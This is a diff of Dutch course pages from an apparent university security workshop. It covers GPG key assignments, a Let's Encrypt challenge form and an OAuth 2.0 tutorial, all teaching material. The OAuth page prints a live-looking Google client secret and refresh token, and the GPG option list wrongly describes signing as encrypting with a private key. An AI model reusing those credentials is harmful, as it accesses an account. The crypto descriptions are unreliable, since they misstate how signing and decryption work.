<p>Genoeg theorie, we gaan aan de slag met concrete encryptiealgoritmes. En wel met de <a href="http://en.wikipedia.org/wiki/Pretty_Good_Privacy#OpenPGP" target="_blank">OpenPGP</a> (Pretty Good Privacy) standaard. Een veel gebruikt open source programma die deze standaard implementeert is <a href="http://en.wikipedia.org/wiki/GNU_Privacy_Guard" target="_blank">GPG</a> (GNU Privacy Guard). Met dit programma kunnen we sleutelparen maken, bestanden encrypten/decrypten en versleutelde berichten versturen.</p> |
||||
|
||||
<p>Om het makkelijker te maken om publieke sleutels uit te wisselen kan GPG gebruik maken van een <b>keyserver</b>. Dit is een speciale server die een lijst van publieke sleutels bijhoud. Voor onderstaande opdrachten hebben we onze eigen keyserver ingericht op sec1.aii.avans.nl. <b>Deze werkt niet als je de opdrachten thuis maakt</b>. De Avans firewall blokkeert poort 11371 waarop deze server werkt. Als je thuis de opdrachten wilt maken kan je het beste <a href="https://vmview-1.aii.avans.nl/" target="_blank">inloggen</a> op een PANO-box VM. Daar werkt het wel.</p> |
||||
|
||||
<p>GPG kan je <a href="http://www.gpg4win.org/" target="_blank">hier</a> voor Windows downloaden, na het installeren kan je in je CMD alle commando's typen. Als je Linux of Mac OS X gebruikt hoef je niks te doen, GPG is standaard geïnstalleerd.</p> |
||||
|
||||
<img src="static/img/gpg.png"> |
||||
|
||||
<code class="terminal">gpg --help</code> |
||||
|
||||
<p>Met bovenstaande commando zie je alle dingen die je met GPG kan doen. We gaan niet meer alle commando's voorkauwen, je bent inmiddels handig genoeg om die zelf te bedenken. Een paar handige opties om te onthouden:</p> |
||||
|
||||
<ul> |
||||
<li><b>--gen-key</b> Maak een nieuw publiek/private sleutelpaar.</li> |
||||
<li><b>--list-keys</b> Bekijk alle sleutels die je lokaal hebt.</li> |
||||
<li><b>--sign</b> Gebruik je eigen private sleutel gebruiken om een bestand te encrypten.</li> |
||||
<li><b>--decrypt</b> Gebruik iemand anders publieke sleutel om een bestand te decrypten.</li> |
||||
<li><b>--encrypt</b> Gebruik iemand anders publieke sleutel om een bestand te encrypten.</li> |
||||
<li><b>--recv-keys --keyserver sec1.aii.avans.nl <i>sleutel-ID</i></b> Haal een publieke sleutel op van de onze keyserver</li> |
||||
<li><b>--send-keys --keyserver sec1.aii.avans.nl <i>sleutel-ID</i></b> Verstuur een publieke sleutel naar onze keyserver</li> |
||||
<li><b>--sign-key</b> Signeer een publieke sleutel met jouw eigen private sleutel</li> |
||||
<li><b>-a</b> Output in ASCII base64 formaat</li> |
||||
<p> |
||||
|
||||
<p>Haal van de keyserver onze publieke sleutel op met sleutel-ID <b>B69F77232CE5546445137725D555F2F5FA9E1C5A</b> (GPG noemt dit ook wel de user-ID). We hebben met onze private sleutel een tekst versleuteld in <a href="static/secret.txt.asc" target="_blank">dit bestand</a>. Gebruik de publieke sleutel om dit bestand te ontsleutelen.</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Welke zin hebben we versleuteld?</span> |
||||
{% include "points.html" with points=answers.answer_encryption_decrypt_public_key.points max="5" %} |
||||
<input class="question-input" name="answer_encryption_decrypt_public_key" value="{{ answers.answer_encryption_decrypt_public_key.string }}"> |
||||
</div> |
||||
|
||||
<p>Gebruik onze publieke sleutel om zelf een tekstbestandje te versleutelen. Zorg ervoor dat ergens in de tekst van dit bestandje de geheime code "555-0690" en je Avans e-mailadres staat.</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Plak de inhoud van het versleutelde bestand (inclusief begin en einde <code>-----BEGIN PGP MESSAGE-----</code>)</span> |
||||
{% include "points.html" with points=answers.answer_encryption_encrypt_public_key.points max="5" %} |
||||
<textarea class="question-input" name="answer_encryption_encrypt_public_key">{{ answers.answer_encryption_encrypt_public_key.string }}</textarea> |
||||
</div> |
||||
|
||||
<p class="hint"><strong>Hint:</strong> Het is met GPG mogelijk om meerdere ontvangers op te geven. Dat hoeft voor deze opdracht niet. Als je alle (1 dus) ontvangers hebt opgegeven moet je een lege regel opgeven om aan te geven dat je verder wil gaan.</p> |
||||
|
||||
<p class="hint"><strong>Hint:</strong> Gebruik onze sleutel-ID (ook wel user-id) die we eerder al hebben genoemd.</p> |
||||
|
||||
<p class="hint"><strong>Hint:</strong> Krijg je een binair bestand? Dan ben je waarschijnlijk vergeten om de ASCII base64 optie aan te zetten (zie lijst van opties hierboven)</p> |
||||
|
||||
<p>Tijd om je eigen sleutels te gebruiken! Maak je eigen publieke/private sleutelpaar en verstuur de publieke sleutel naar de sec1.aii.avans.nl keyserver. <b>Gebruik je Avans e-mailadres voor het e-mailveld</b>.</p> |
||||
|
||||
<p>Vergeet niet om je publieke sleutel naar de sec1.aii.avans.nl keyserver te sturen zodat anderen die kunnen opzoeken en geheime berichten naar je kunnen sturen (en zodat wij de opdrachten kunnen nakijken, anders krijg je de punten voor onderstaande opdracht niet!)</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Versleutel een bestandje met de tekst "Security 2" met je eigen private sleutel. Plak de versleutelde tekst in het tekstveld (inclusief begin en einde <code>-----BEGIN PGP MESSAGE-----</code>)</span> |
||||
{% include "points.html" with points=answers.answer_encryption_encrypt_with_own_private.points max="5" %} |
||||
<textarea class="question-input" name="answer_encryption_encrypt_with_own_private">{{ answers.answer_encryption_encrypt_with_own_private.string }}</textarea> |
||||
</div> |
||||
|
||||
<h3>Web of Trust</h3> |
||||
|
||||
<p>Probleempje: elke mafketel kan sleutels aanmaken en daar elke naam bij zetten die hij maar wil. Hoe zorgen we ervoor dat de naam en e-mailadres die bij een sleutel staan ook echt klopt? Dit probleem heeft GPG opgelost door het mogelijk te maken om met jouw private sleutel een <b>handtekening</b> (signature) te maken voor een publieke sleutel van iemand anders. Je geeft daarmee aan dat je gecontroleerd hebt dat de naam die bij een sleutel staat klopt en dat je die persoon vertrouwd.</p> |
||||
|
||||
<p>Op die manier ontstaat er een web van vertrouwensrelaties. En als jij Tony vertrouwd, en Tony vertrouwd Steve. Dan kan je indirect ervan uitgaan dat de naam van de sleutel van Steve klopt. Op die manier kan je indirect een hele hoop sleutels vertrouwen. Op onze keyserver zie je bijvoorbeeld <a href="http://sec1.aii.avans.nl:11371/pks/lookup?op=vindex&search=0XB69F77232CE5546445137725D555F2F5FA9E1C5A" target="_blank">wie er allemaal direct onze sleutel vertrouwd.</a></p> |
||||
|
||||
<img src="static/img/web_of_trust.gif"> |
||||
|
||||
<p>Als je je eigen sleutel wil gebruiken om andere sleutels te ondertekenen/vertrouwen doe je dat door eerst een publieke sleutel te downloaden van de keyserver, dan deze lokaal te ondertekenen met je eigen sleutel en vervolgens de publieke sleutel weer opnieuw te versturen naar de keyserver.</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Gebruik je eigen sleutel om onze sleutel (sleutel-ID: B69F77232CE5546445137725D555F2F5FA9E1C5A) en de sleutel van drie medestudenten te ondertekenen. Upload je ondertekening terug naar de keyserver. Plak je eigen sleutel-ID als antwoord hier.</span> |
||||
{% include "points.html" with points=answers.answer_encryption_sign_keys.points max="5" %} |
||||
<input class="question-input" name="answer_encryption_sign_keys" value="{{ answers.answer_encryption_sign_keys.string }}"> |
||||
</div> |
||||
|
||||
<p class="hint"><strong>Hint:</strong> Handtekeningen worden pas verstuurd als je de sleutel die je hebt ondertekend weer terugstuurt naar de server.</p> |
||||
|
||||
<p>Heb je de smaak te pakken? Dan kan je je eigen publieke sleutel ook doorsturen naar andere <a href="http://en.wikipedia.org/wiki/Key_server_%28cryptographic%29" target="_blank">keyservers</a> en laten ondertekenen bij hippe <a href="http://en.wikipedia.org/wiki/Key_signing_party" target="_blank">key signing parties</a>.</p> |
||||
|
||||
<a href="http://xkcd.com/364/" target="_blank"><img src="http://imgs.xkcd.com/comics/responsible_behavior.png"></a> |
||||
|
||||
<h3>Laatste opdracht</h3> |
||||
|
||||
<p>Het vak is bijna afgelopen, en we hebben nog één laatste grote opdracht voor je waarbij je kennis van deze week nog een kan toepassen in een programmeerprojectje. Maak een kleine webapplicatie waar een gebruiker de volgende dingen kan invoeren:</p> |
||||
|
||||
<ul> |
||||
<li>Een naam</li> |
||||
<li>Een geheime tekst</li> |
||||
<li>Een wachtwoord</li> |
||||
</ul> |
||||
|
||||
<p>Zorg ervoor dat de webapplicatie de geheime tekst versleuteld opslaat zodat als iemand de database steelt het onmogelijk is om de geheime tekst te lezen. Als de gebruiker alleen een naam en het juiste wachtwoord invult krijgt hij zijn originele tekst weer te zien.</p> |
||||
|
||||
<p>Zet de code op GitHub en leg in de README.md kort uit welke technieken, libraries en frameworks je hebt gebruikt. Je mag zelf kiezen welke programmeertaal je gebruikt.</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Plak hier de link naar je GitHub project</span> |
||||
{% include "points.html" with points=answers.answer_encryption_github_project.points max="25" %} |
||||
<input type="url" class="question-input" name="answer_encryption_github_project" value="{{ answers.answer_encryption_github_project.string }}"> |
||||
</div> |
||||
|
||||
<img src="static/img/encryption_project.png" class="screenshot" style="width: 50%"> |
||||
|
||||
{% endblock %} |
@ -0,0 +1,58 @@ |
||||
<!DOCTYPE html> |
||||
<html> |
||||
|
||||
<head> |
||||
<title>Security Workshop</title> |
||||
<link href="/static/css/bootstrap.min.css" rel="stylesheet" type="text/css"> |
||||
<link href="/static/css/bootstrap-responsive.min.css" rel="stylesheet" type="text/css"> |
||||
<link href="/static/css/style.css" rel="stylesheet" type="text/css"> |
||||
<script type="text/javascript" src="/static/js/jquery-2.1.0.min.js"></script> |
||||
<script type="text/javascript" src="/static/js/jquery.base64.min.js"></script> |
||||
<script type="text/javascript" src="/static/js/quiz.js"></script> |
||||
</head> |
||||
|
||||
<body> |
||||
<form method="POST" id="form-quiz"> |
||||
<div class="row-fluid"> |
||||
<div class="well span3" id="menu"> |
||||
|
||||
<ul> |
||||
<li> |
||||
<a href="/?sql">SQL Injection</a> |
||||
</li> |
||||
<li> |
||||
<a href="/?xss">Cross-site Scripting</a> |
||||
</li> |
||||
<li> |
||||
<a href="/?wachtwoorden">Wachtwoorden</a> |
||||
</li> |
||||
<li> |
||||
<a href="/?path">Insecure Direct Object References</a> |
||||
</li> |
||||
<!-- |
||||
<li> |
||||
<a href="/?oauth">OAuth</a> |
||||
</li> |
||||
<li> |
||||
<a href="/?certificaten">Certificaten</a> |
||||
</li> |
||||
<li> |
||||
<a href="/?encryptie">Encryptie</a> |
||||
</li> |
||||
--> |
||||
</ul> |
||||
|
||||
Moeilijkheidsgraad: |
||||
<select id="difficulty"> |
||||
<option value="easy">Hints zichtbaar</option> |
||||
<option value="normal">Hints optioneel</option> |
||||
<option value="hard">Geen hints</option> |
||||
</select> |
||||
</div> |
||||
|
||||
<div id="quiz" class="span8 offset3"> |
||||
</div> |
||||
</form> |
||||
</body> |
||||
|
||||
</html> |
@ -0,0 +1,53 @@ |
||||
|
||||
<!DOCTYPE html> |
||||
<html> |
||||
<head> |
||||
<link rel="stylesheet" href="/static/css/semantic.min.css"> |
||||
<style type="text/css"> |
||||
body { |
||||
margin-top: 20px; |
||||
} |
||||
</style> |
||||
</head> |
||||
|
||||
<body> |
||||
<h1 class="ui centered aligned header">Let's Encrypt</h1> |
||||
|
||||
<div class="ui three column centered grid"> |
||||
<div class="column ui"> |
||||
<form method="POST" action="" class="ui form primary center aligned segment"> |
||||
{% csrf_token %} |
||||
|
||||
{% if challenge %} |
||||
<p>Vanaf<br> |
||||
<a href="http://sec1.aii.avans.nl/.well-known/acme-challenge/{{challenge}}">http://sec1.aii.avans.nl/.well-known/acme-challenge/{{challenge}}</a><br> wordt de komende 10 minuten de volgende tekst getoond:<br> |
||||
<code>{{challenge}}.{{response}}</code> |
||||
|
||||
{% elif error %} |
||||
<div class="ui negative message"> |
||||
<p>{{error}}</p> |
||||
</div> |
||||
|
||||
{% else %} |
||||
<div class="field"> |
||||
<label for="domain">Challenge-response</label> |
||||
<div class="ui huge input"> |
||||
<textarea name="challenge-response" value="" style="text-align: center;" placeholder=""></textarea> |
||||
</div> |
||||
<p>Vul hier de code in die Let's Encrypt van je vraagt om te geven via <br><code>http://sec1.aii.avans.nl/.well-known/acme-challenge/</code></p> |
||||
</div> |
||||
|
||||
<button type="submit" class="ui big blue submit button">Opslaan</button> |
||||
|
||||
{% endif %} |
||||
</form> |
||||
</div> |
||||
</div> |
||||
|
||||
|
||||
</div> |
||||
|
||||
|
||||
|
||||
</body> |
||||
</html> |
@ -0,0 +1,260 @@ |
||||
{% extends "base.html" %} |
||||
|
||||
{% block content %} |
||||
<h1>OAuth</h1> |
||||
|
||||
<img src="static/img/oauth.png" style="float: right"> |
||||
|
||||
<p>Heb je wel eens gebruik gemaakt van een API van Twitter, Facebook of Google? Dan heb je waarschijnlijk te maken gehad <strong>OAuth</strong>, de technologie die je toestemming verleent om gebruik te maken van die API's.</p> |
||||
|
||||
<p>Er zijn veel misverstanden over OAuth waardoor het vaak verkeerd begrepen wordt en er veel frictie ontstaat ontstaat tussen de API en de ontwikkelaar. Het is bijvoorbeeld niet ontworpen om enkel mee in te loggen, hoewel het daar wel veel voor gebruikt wordt. Deze week gaan we kijken naar het probleem van authoriseren en hoe OAuth dat oplost.</p> |
||||
|
||||
<p>We gaan deze week oefenen met OAuth 2.0. Er is ook versie 1.0 en 1.0a die heel anders werken (hoewel ze qua concept wel gelijk zijn). Let altijd op met welke versie je te maken hebt, je kan een 2.0 client niet laten praten met een 1.0 server en vice versa.</p> |
||||
|
||||
<p>We nemen als voorbeeld de Poespas bank. Een simpele website waarmee gebruikers kunnen inloggen met een gebruikersnaam en wachtwoord. Als ze ingelogd zijn zien ze hun huidige saldo. De bank heeft een simpele API waarmee gebruikers hun saldo kunnen checken.</p> |
||||
|
||||
<h3>Simpele authenticatie</h3> |
||||
|
||||
<p>Een simpele manier om de saldo API te implementeren is om rechtstreeks je gebruikersnaam en wachtwoord mee te geven in de API request. De server checkt of de inloggegevens correct zijn en geeft de saldo informatie van die gebruiker terug. Uiteraard moet dit alles over een beveiligde verbinding gebeuren, maar als dat zo is is het in theorie een veilige oplossing.</p> |
||||
|
||||
<figure> |
||||
<img src="static/img/auth_basic.png"> |
||||
</figure> |
||||
|
||||
<img src="static/img/http_auth.png" style="float: right; width: 30%; margin-left: 10px"> |
||||
|
||||
<p>Veel echte API's werkte vroeger op deze manier (vaak op basis van <a href="http://en.wikipedia.org/wiki/Basic_access_authentication" target="_blank">HTTP Authentication</a>). En zolang alles over een beveiligde verbinding tussen de gebruiker en de server loopt is alles veilig. De problemen beginnen echter als een derde partij betrokken raakt bij onze API.</p> |
||||
|
||||
<p>Een startup heeft de <i>BudgetApp</i> ontwikkelt, een nieuwe app die laat zien hoeveel saldo je per maand op je rekening hebt staan. Ze maken gebruik van de Poespas API om het saldo van de gebruiker op te halen. Maar om die API te kunnen gebruiken hebben ze de gebruikersnaam en het wachtwoord van de gebruiker nodig. Op hun inlogscherm vragen ze daarom om de inloggegevens zodat de app goed kan werken.</p> |
||||
|
||||
<figure> |
||||
<img src="static/img/auth_basic_app.png"> |
||||
</figure> |
||||
|
||||
<p>Het probleem met deze manier van authenticeren wordt nu snel duidelijk: de app krijgt de gebruikersnaam en wachtwoord van de gebruiker in handen. Daarmee kunnen ze niet alleen het saldo ophalen met de API. Maar ook alle andere dingen die de gebruiker kan zoals bijvoorbeeld inloggen, geld overschrijven en het wachtwoord veranderen.</p> |
||||
|
||||
|
||||
<p>Om deze situatie te voorkomen willen we een authorisatiesysteem waarbij de app wel een sleutel krijgt om de API te gebruiken, maar niet het wachtwoord van de gebruiker zelf. Dat moet strict geheim blijven.</p> |
||||
|
||||
<h3>Access tokens</h3> |
||||
|
||||
<img src="static/img/access_token.png" class="center-block" style="float: right; width: 25%"> |
||||
<p>OAuth lost dit probleem op door het concept van een <b>access token</b>. Een lange string waarmee je aangeeft dat een bepaalde gebruiker jou toestemming heeft gegeven om de API te mogen gebruiken. Deze token geef je bij elke aanroep van de API mee in een speciale 'Authorization' header, zodat de server deze kan verifiëren.</p> |
||||
|
||||
<p>De app heeft nu niet meer de gebruikersnaam en wachtwoord van de gebruiker nodig, de access token is voor de bank een veilige manier om toegang tot de API te geven. En omdat een access token maar tijdelijk geldig is (vaak maar een uur) blijft de schade relatief beperkt als een hacker hier toegang tot krijgt.</p> |
||||
|
||||
<img src="static/img/oauth_facebook.png" class="center-block"> |
||||
|
||||
<p>Access tokens kan je aanvragen door de gebruiker te sturen naar een speciale authorisatie pagina. Je hebt ze vast wel eens eerder gezien: de pagina's waar je moet inloggen en op 'Geef toestemming' moet klikken. Zodra je op die knop klikt wordt je weer teruggestuurd naar de oorspronkelijke app of webapplicatie met de access token in de URL.</p> |
||||
|
||||
<figure> |
||||
<img src="static/img/auth_access_token.png" class="center-block"> |
||||
</figure> |
||||
|
||||
<p>Je kan ook een speciale <b>authorisatie code</b> terugkrijgen in plaats van een access token als je dat in een parameter aanzet. Deze kan je inwisselen voor een access token en een refresh token, een speciale token waarmee je nieuwe access tokens kan maken. Handig als je langer dan een uur van de API gebruik wil blijven maken. Met al die verschillende tokens gaan we oefenen in de opdrachten.</p> |
||||
|
||||
<h3>Opdrachten</h3> |
||||
|
||||
<p>Deze site heeft ook een API die te vinden is op: <a href="/api/hello" target="_blank">/api/hello</a>. Die mag je uiteraard alleen gebruiken als je een access token hebt, als je gewoon op de link klikt krijg je een lege 403 pagina (Forbidden). We gaan alle stappen doorlopen om te komen tot de almachtige access token waarmee we de API kunnen aanroepen.</p> |
||||
|
||||
<p>De eerste stap bij een OAuth provider is om een client aan te maken. Daarmee weet de server altijd wie het is die de API aanroep doet. Voor deze opdracht kan je die aanmaken op <a href="/o/applications/" target="_blank">deze pagina</a>. Maak je eigen applicatie met de volgende gegevens:</p> |
||||
|
||||
<ul> |
||||
<li><b>Name</b>: mag je zelf kiezen</li> |
||||
<li><b>Client id</b>: mag je zelf kiezen, maar moet wel uniek zijn</li> |
||||
<li><b>Client secret</b>: mag je zelf kiezen</li> |
||||
<li><b>Client type</b>: Confidential</li> |
||||
<li><b>Authorization grant type</b>: Implicit</li> |
||||
<li><b>Redirect uris</b>: http://example.com/ (mag ook een eigen URL zijn)</li> |
||||
</ul> |
||||
|
||||
<figure> |
||||
<img src="static/img/oauth_register.png" style="width: 50%"> |
||||
</figure> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Wat is de client_id die je hebt geregistreerd?</span> |
||||
{% include "points.html" with points=answers.answer_oauth_client_id.points max="5" %} |
||||
<input class="question-input" name="answer_oauth_client_id" value="{{ answers.answer_oauth_client_id.string }}"></input> |
||||
</div> |
||||
|
||||
<p>Elke OAuth server heeft twee endpoints (lees: URL's): de authorisatie endpoint en de token endpoint. Hieronder zie je de endpoints van een aantal bekende servers:</p> |
||||
|
||||
<table border="1" cellpadding="4"> |
||||
<tr> |
||||
<th>Service</th> |
||||
<th>Authorization endpoint</th> |
||||
<th>Token endpoint</th> |
||||
</tr> |
||||
<tr> |
||||
<td>Dit vak</td> |
||||
<td>http://sec1.aii.avans.nl/o/authorize/</td> |
||||
<td>http://sec1.aii.avans.nl/o/token/</td> |
||||
</tr> |
||||
<tr> |
||||
<td>GitHub</td> |
||||
<td>https://github.com/login/oauth/authorize</td> |
||||
<td>https://github.com/login/oauth/access_token</td> |
||||
</tr> |
||||
<tr> |
||||
<td>Google</td> |
||||
<td>https://accounts.google.com/o/oauth2/auth</td> |
||||
<td>https://accounts.google.com/o/oauth2/token</td> |
||||
</tr> |
||||
<tr> |
||||
<td>Facebook</td> |
||||
<td>https://www.facebook.com/dialog/oauth</td> |
||||
<td>https://graph.facebook.com/oauth/access_token</td> |
||||
</tr> |
||||
</table> |
||||
|
||||
<p>De authorisatie endpoint is de URL waar je de gebruiker heenstuurt om hem te laten inloggen op de website en om op 'Toestaan' te laten klikken. Deze site redirect daarna weer terug naar je eigen site / app met een speciale authorisatie code. De token endpoint is de OAuth API waar we al onze access tokens uit kunnen halen, maar dan hebben we wel eerst die authorisatie code nodig.</p> |
||||
|
||||
<p>Om te authoriseren hebben we de volgende URL parameters nodig: (<a href="http://tools.ietf.org/html/rfc6749#section-4.1.1" target="_blank">documentatie</a>)</p> |
||||
|
||||
<ul> |
||||
<li><b>response_type</b>: "token" of "code". Met "token" krijg je direct een access token in de redirect URL. Handig als je de API maar 1x hoeft te gebruiken. Minder handig als je de API langer wilt blijven gebruiken, want access tokens blijven vaak niet langer dan een uur geldig. Dan moet je de gebruiker elk uur opnieuw laten inloggen. Met "code" krijg je een authorisatie code die je kan inwisselen voor een speciale refresh_token, daar kan je tot in de oneindigheid nieuwe access tokens mee maken. <i>Voor deze opdracht gebruiken we "token"</i>.</li> |
||||
<li><b>client_id</b>: Jouw gekozen client id</li> |
||||
<li><b>redirect_uri</b>: optioneel, en eigenlijk ook redundant. Want die geef je ook vaak op als je je registreert als client bij de provider. Als de gebruiker op 'Toestaan' heeft geklikt wordt hij naar deze URL teruggestuurt met de authorisatie code of access token</li> |
||||
<li><b>scope</b>: optioneel, kan je mee aangeven welke gedeeltes van de API je wilt kunnen gebruiken</li> |
||||
<li><b>state</b>: optioneel, een string die je kan meegeven die ook weer wordt teruggestuurd als de gebruiker wordt terug geredirect. Kan handig zijn.</li> |
||||
</ul> |
||||
|
||||
<p>Voor deze site is de authorisatie URL:<br> |
||||
<span class="url">http://sec1.aii.avans.nl/o/authorize/?client_id=(CLIENT_ID)&response_type=token</span></p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Authoriseer met je eigen client id. Welke access token heb je gekregen?</span> |
||||
{% include "points.html" with points=answers.answer_oauth_implicit_access_token.points max="5" %} |
||||
<input class="question-input" name="answer_oauth_implicit_access_token" value="{{ answers.answer_oauth_implicit_access_token.string }}"></input> |
||||
</div> |
||||
|
||||
<p class="hint"><strong>Hint:</strong> Let je wel op dat er een slash staat achter <code>authorize</code> in de URL?</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Hoeveel seconden is deze token code geldig?</span> |
||||
{% include "points.html" with points=answers.answer_oauth_implicit_access_token_expires.points max="5" %} |
||||
<input class="question-input" name="answer_oauth_implicit_access_token_expires" value="{{ answers.answer_oauth_implicit_access_token_expires.string }}"></input> |
||||
</div> |
||||
|
||||
<p>De access token kan je nu gebruiken om een request te doen naar <a href="/api/hello" target="_blank">/api/hello</a>. De token geef je mee door de volgende HTTP header mee te sturen:</p> |
||||
|
||||
<code class="pre">Authorization: Bearer nW8JkemabiKpxvD1Yen3FCcWM3k7vr</code> |
||||
|
||||
<p>Uiteraard moet je je eigen access token dan gebruiken. Er zijn vele tools waarmee je HTTP requests mee kan maken met je eigen headers en data. In de screenshots gebruiken we <a href="https://chrome.google.com/webstore/detail/postman-rest-client-packa/fhbjgbiflinjbdggehcddcbncdddomop" target="_blank">Postman</a>.</p> |
||||
|
||||
<img src="static/img/oauth_call_api.png" class="center-block screenshot" style="width: 80%; margin-top: 20px"> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Wat is de geheime code die gestuurd wordt als je de API aanroept?</span> |
||||
{% include "points.html" with points=answers.answer_oauth_api_hello.points max="10" %} |
||||
<input class="question-input" name="answer_oauth_api_hello" value="{{ answers.answer_oauth_api_hello.string }}"></input> |
||||
</div> |
||||
|
||||
<p class="hint"><strong>Hint:</strong> Let op dat je de Authorization data als <i>header</i> meestuurt. Via de POST form-data of als URL parameter gaat niet werken!</p> |
||||
|
||||
|
||||
<h3>Web applicaties</h3> |
||||
|
||||
<p>Wat doen we als de token verloopt en je nog steeds de API wil gebruiken? Je kan natuurlijk de gebruiker opnieuw naar de authorisatie URL sturen voor een nieuwe access token. Maar als jouw web applicatie dagelijks de gebruiker meerdere keren per dag redirect om op 'Geef toestemming' te klikken wordt die daar helemaal gek van.</p> |
||||
|
||||
<p>OAuth heeft hier de zogenaamde refresh tokens voor verzonnen. Dit is een uitgebreidere manier om access tokens te krijgen en is meer geschikt voor webapplicaties. We moeten wel helemaal terug naar het begin en alle stappen net iets anders doen:</p> |
||||
|
||||
<ol> |
||||
<li>Ga naar <a href="/o/applications/" target="_blank">/o/applications/</a> en verander jouw applicatie zodat deze nu als <b>Authorization grant type</b> de waarde <b>Authorization code</b> heeft.<br> |
||||
<img src="static/img/oauth_set_grant_type.png" class="screenshot" style="width: 40%"> |
||||
</li> |
||||
|
||||
<li>Ga opnieuw naar dezelfde authorisatie URL van vorige keer, maar nu met <b>response_type=code</b> in plaats van response_type=token</li> |
||||
|
||||
<li>Je wordt nu teruggestuurd met een zogenaamde authorisatie code</li> |
||||
</ol> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Welke authorisatie code heb je gekregen?</span> |
||||
{% include "points.html" with points=answers.answer_oauth_authorization_code.points max="5" %} |
||||
<input class="question-input" name="answer_oauth_authorization_code" value="{{ answers.answer_oauth_authorization_code.string }}"></input> |
||||
</div> |
||||
|
||||
<img src="static/img/oauth_authorization_code.png" style="width: 25%; float: right"> |
||||
|
||||
|
||||
<p>Deze authorisatie code is nog geen access token op zich, maar kan een webapplicatie wel inwisselen voor een access token. Dit doet het door een POST request te doen naar de token endpoint. We moeten daarvoor de volgende parameters meesturen:</p> |
||||
|
||||
<ul> |
||||
<li><b>grant_type</b>: Moet de waarde "authorization_code" hebben.</li> |
||||
<li><b>code</b>: De authorisatie code die we hebben gekregen van de authorisatie endpoint.</li> |
||||
<li><b>redirect_uri</b>: Dezelfde URL die we eerder als redirect_uri hebben gebruikt.</li> |
||||
<li><b>client_id</b>: De client id die je hebt verzonnen</li> |
||||
<li><b>client_secret</b>: De client secret die je hebt verzonnen</li> |
||||
</ul> |
||||
|
||||
<p>Doe er niet te lang over, authorisatie codes verlopen vaak al na enkele minuten. Als je het goed doet krijg je een response met daarin de refresh_token (en een gratis access_token!). Als je een <code>invalid_grant</code> error krijgt betekent dat dat jouw code verlopen is en dat je een nieuwe moet aanvragen. Als je een <code>invalid_client</code> error krijgt moet je goed controleren of je redirect_uri, client_id en client_secret allemaal goed staan ingesteld. En als je een <code>access_denied</code> krijgt moet je nog een keer heel goed controleren of je redirect_uri echt <i>exact</i> hetzelfde is als toen je je app hebt geregistreerd.</code>. Krijg je een andere error? Controleer dan nog een keer extra goed of de URL eindigt op <code>/token/</code> (die laatste slash is belangrijk!) en dat je alle data verstuurd als form data via POST.</p> |
||||
|
||||
<img src="static/img/oauth_exchange_auth_code.png" class="screenshot" style="margin: 20px; width: 80%; margin-left: auto; margin-right: auto;"> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Copy paste de response die je hebt gekregen waar de refresh token in staat</span> |
||||
{% include "points.html" with points=answers.answer_oauth_refresh_token.points max="5" %} |
||||
<textarea class="question-input" name="answer_oauth_refresh_token">{{ answers.answer_oauth_refresh_token.string }}</textarea> |
||||
</div> |
||||
|
||||
<img src="static/img/oauth_refresh_token.png" style="float: right; width: 25%"> |
||||
<p>Gefeliciteerd, je hebt nu een refresh token! Een oneindige bron van nieuwe access tokens. Je vraagt je bijna af waarom OAuth uberhaupt de moeite doet om een authorisatie code te hebben als die toch maar zo kort gebruikt wordt. De reden hiervoor is dat dit mechanisme ervoor zorgt dat alleen de webapplicatie de refresh en access tokens kan ophalen, en niet de gebruiker. Zonder de juiste client_secret kan de gebruiker namelijk helemaal niets met de authorisatie code.</p> |
||||
|
||||
<p>We schakelen voor het gebruik van de refresh token even over naar een hele andere site</p> |
||||
|
||||
<h3>Google</h3> |
||||
|
||||
<p>Bij Google hebben we een OAuth client geregistreerd en de volgende gegevens gekregen:</p> |
||||
|
||||
<code style="display: block;"> |
||||
Client id: 799427728270-ahr6bg713mtkh2htskbmqko8hpheq1md.apps.googleusercontent.com<br> |
||||
Client secret: 3W9FcQefBmhX7CT1FgzqiCdR<br> |
||||
Refresh token: 1/WfdEEjWgj5Lm8p6wZzoTCeirQz7e4hMDIxvOkdvSjsU<br></code> |
||||
|
||||
<p>Met deze gegevens kunnen we weer een POST doen naar de token endpoint (voor Google: https://accounts.google.com/o/oauth2/token) om een access token te genereren. Dit keer hoeven we geen redirect_uri mee te sturen en moeten we de grant_type parameter op 'refresh_token' zetten:</p> |
||||
|
||||
<p class="hint"><strong>Hint:</strong> Deze keer geen slash achteraan de token URL endpoint, goed opletten!</p> |
||||
|
||||
<img src="static/img/oauth_google_refresh.png" class="screenshot" style="width: 70%; margin: 20px; display: block"> |
||||
|
||||
<p>Gebruik de access token die je krijgt om een API call te doen naar <span class="url">https://www.googleapis.com/calendar/v3/calendars/secavans@gmail.com/events</span>. Vergeet niet weer de juiste Authorization header te gebruiken om je access token in te zetten! Als je het goed doet krijg je alle events uit onze Google Calender te zien in JSON formaat.</p> |
||||
|
||||
<img src="static/img/oauth_google_call_api.png" class="screenshot" style="width: 70%; margin: 20px; display: block"> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Wat is de code die in de Geheime afspraak staat? </span> |
||||
{% include "points.html" with points=answers.answer_oauth_calendar_secret_code.points max="10" %} |
||||
<input class="question-input" name="answer_oauth_calendar_secret_code" value="{{ answers.answer_oauth_calendar_secret_code.string }}"></input> |
||||
</div> |
||||
|
||||
<p>Genoeg tutorial, tijd voor het echte werk! We gaan handmatig het hele OAuth proces doorlopen voor een Google API. Dat mag weer de <a href="https://developers.google.com/google-apps/calendar/v3/reference/events/list" target="_blank">Google Calendar API</a> zijn maar dan voor je eigen Google Calendar. Maar je mag ook een <a href="https://developers.google.com/apis-explorer/" target="_blank">andere API</a> kiezen zoals <a href="https://developers.google.com/gmail/api/" target="_blank">Gmail</a> of <a href="https://developers.google.com/drive/v2/reference/" target="_blank">Google Drive</a>.</p> |
||||
|
||||
